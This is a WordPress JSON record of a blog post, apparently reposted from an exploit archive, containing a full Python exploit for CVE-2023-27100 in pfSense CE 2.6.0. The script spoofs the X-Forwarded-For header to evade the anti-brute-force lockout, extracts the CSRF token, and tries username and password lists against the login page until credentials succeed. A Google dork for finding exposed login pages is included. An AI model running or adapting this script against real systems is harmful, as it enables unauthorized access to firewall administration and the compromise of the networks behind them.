{"id":40267,"date":"2023-04-10T23:41:09","date_gmt":"2023-04-10T19:41:09","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/171791\/pfsensece260-bypass.txt"},"modified":"2023-04-12T01:14:19","modified_gmt":"2023-04-11T20:44:19","slug":"pfsensece-2-6-0-protection-bypass","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/pfsensece-2-6-0-protection-bypass\/","title":{"rendered":"pfsenseCE 2.6.0 Protection Bypass"},"content":{"rendered":"<p>#!\/usr\/bin\/python3<\/p>\n<p>## Exploit Title: pfsenseCE v2.6.0 &#8211; Anti-brute force protection bypass<br \/>\n## Google Dork: intitle:&#8221;pfSense &#8211; Login&#8221;<br \/>\n## Date: 2023-04-07<br \/>\n## Exploit Author: FabDotNET (Fabien MAISONNETTE)<br \/>\n## Vendor Homepage: https:\/\/www.pfsense.org\/<br \/>\n## Software Link: https:\/\/atxfiles.netgate.com\/mirror\/downloads\/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz<br \/>\n## Version: pfSenseCE &lt;= 2.6.0<br \/>\n## CVE: CVE-2023-27100<\/p>\n<p># Vulnerability<br \/>\n## CVE: CVE-2023-27100<br \/>\n## CVE URL: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-27100<br \/>\n## Security Advisory: https:\/\/docs.netgate.com\/downloads\/pfSense-SA-23_05.sshguard.asc<br \/>\n## Patch: https:\/\/redmine.pfsense.org\/projects\/pfsense\/repository\/1\/revisions\/9633ec324eada0b870962d3682d264be577edc66<\/p>\n<p>import requests<br \/>\nimport sys<br \/>\nimport re<br \/>\nimport argparse<br \/>\nimport textwrap<br \/>\nfrom urllib3.exceptions import InsecureRequestWarning<\/p>\n<p># Expected Arguments<br \/>\nparser = argparse.ArgumentParser(description=&#8221;pfsenseCE &lt;= 2.6.0 Anti-brute force protection bypass&#8221;,<br \/>\nformatter_class=argparse.RawTextHelpFormatter,<br \/>\nepilog=textwrap.dedent(&#8221;&#8217;<br \/>\nExploit Usage :<br \/>\n.\/CVE-2023-27100.py -l http:\/\/&lt;pfSense&gt;\/ -u user.txt -p pass.txt<br \/>\n.\/CVE-2023-27100.py -l http:\/\/&lt;pfSense&gt;\/ -u \/Directory\/user.txt -p \/Directory\/pass.txt&#8221;&#8217;))<\/p>\n<p>parser.add_argument(&#8220;-l&#8221;, &#8220;&#8211;url&#8221;, help=&#8221;pfSense WebServer (Example: http:\/\/127.0.0.1\/)&#8221;)<br \/>\nparser.add_argument(&#8220;-u&#8221;, &#8220;&#8211;usersList&#8221;, help=&#8221;Username Dictionary&#8221;)<br \/>\nparser.add_argument(&#8220;-p&#8221;, &#8220;&#8211;passwdList&#8221;, help=&#8221;Password Dictionary&#8221;)<br \/>\nargs = parser.parse_args()<\/p>\n<p>if len(sys.argv) &lt; 2:<br \/>\nprint(f&#8221;Exploit Usage: .\/CVE-2023-27100.py -h [help] -l [url] -u [user.txt] -p [pass.txt]&#8221;)<br \/>\nsys.exit(1)<\/p>\n<p># Variable<br \/>\nurl = args.url<br \/>\nusersList = args.usersList<br \/>\npasswdList = args.passwdList<\/p>\n<p># Suppress only the single warning from urllib3 needed.<br \/>\nif url.upper().startswith(&#8220;HTTPS:\/\/&#8221;):<br \/>\nrequests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)<\/p>\n<p>print(&#8216;pfsenseCE &lt;= 2.6.0 Anti-brute force protection bypass&#8217;)<\/p>\n<p>def login(userlogin, userpasswd):<br \/>\nsession = requests.session()<br \/>\nr = session.get(url, verify=False)<\/p>\n<p># Getting CSRF token value<br \/>\ncsrftoken = re.search(r&#8217;input type=\\&#8217;hidden\\&#8217; name=\\&#8217;__csrf_magic\\&#8217; value=&#8221;(.*?)&#8221;&#8216;, r.text)<br \/>\ncsrftoken = csrftoken.group(1)<\/p>\n<p># Specifying Headers Value<br \/>\nheaderscontent = {<br \/>\n&#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0&#8217;,<br \/>\n&#8216;Referer&#8217;: f&#8221;{url}&#8221;,<br \/>\n&#8216;X-Forwarded-For&#8217;: &#8216;42.42.42.42&#8217;<br \/>\n}<\/p>\n<p># POST REQ data<br \/>\npostreqcontent = {<br \/>\n&#8216;__csrf_magic&#8217;: f&#8221;{csrftoken}&#8221;,<br \/>\n&#8216;usernamefld&#8217;: f&#8221;{userlogin}&#8221;,<br \/>\n&#8216;passwordfld&#8217;: f&#8221;{userpasswd}&#8221;,<br \/>\n&#8216;login&#8217;: &#8216;Sign+In&#8217;<br \/>\n}<\/p>\n<p># Sending POST REQ<br \/>\nr = session.post(url, data=postreqcontent, headers=headerscontent, allow_redirects=False, verify=False)<\/p>\n<p># Conditional loops<br \/>\nif r.status_code != 200:<br \/>\nprint(f'[*] &#8211; Found Valid Credential !!&#8217;)<br \/>\nprint(f&#8221;[*] &#8211; Use this Credential -&gt; {userlogin}:{userpasswd}&#8221;)<br \/>\nsys.exit(0)<\/p>\n<p># Reading User.txt &amp; Pass.txt files<br \/>\nuserfile = open(usersList).readlines()<br \/>\npassfile = open(passwdList).readlines()<\/p>\n<p>for user in userfile:<br \/>\nuser = user.strip()<br \/>\nfor passwd in passfile:<br \/>\npasswd = passwd.strip()<br \/>\nlogin(user, passwd)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/usr\/bin\/python3 ## Exploit Title: pfsenseCE v2.6.0 &#8211; Anti-brute force protection bypass ## Google Dork: intitle:&#8221;pfSense &#8211; Login&#8221; ## Date: 2023-04-07 ## Exploit Author: FabDotNET (Fabien MAISONNETTE) ## Vendor Homepage: https:\/\/www.pfsense.org\/ ## Software Link: https:\/\/atxfiles.netgate.com\/mirror\/downloads\/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz ## Version: pfSenseCE &lt;= 2.6.0 ## CVE: CVE-2023-27100 # Vulnerability ## CVE: CVE-2023-27100 ## CVE URL: https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2023-27100 ## Security Advisory: https:\/\/docs.netgate.com\/downloads\/pfSense-SA-23_05.sshguard.asc &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-40267","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40267","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=40267"}],"version-history":[{"count":1,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40267\/revisions"}],"predecessor-version":[{"id":40302,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40267\/revisions\/40302"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=40267"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=40267"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=40267"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}